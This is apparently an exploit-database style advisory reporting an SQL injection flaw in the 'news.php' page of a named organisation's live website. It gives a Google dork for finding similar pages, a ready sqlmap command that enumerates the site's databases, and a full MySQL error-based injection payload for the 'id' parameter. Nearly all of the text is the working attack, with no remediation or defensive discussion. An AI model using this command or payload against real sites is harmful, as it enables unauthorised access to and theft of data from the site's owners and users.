****************************
#Exploit Title: BTACIA - SQL Injection vulnerability
#Date: 2020-09-18
#Exploit Author: Mahdi Karimi
#Vendor Homepage: http://www.btacia.co.th
#Google Dork: news.php?id=3
#Tested On: windows 10
sqlmap:
sqlmap -u "http://www.btacia.co.th/news.php?id=3" --dbs
Testing Method;
- error-based
Parameter: id (GET)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=3' AND (SELECT 6299 FROM(SELECT COUNT(*),CONCAT(0x717a707671,(SELECT (ELT(6299=6299,1))),0x7176627a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'HjnR'='HjnR
**************************************************
#Discovered by: Mahdi Karimi
#Email : mjoker22mjoker22@gmail.com
**************************************************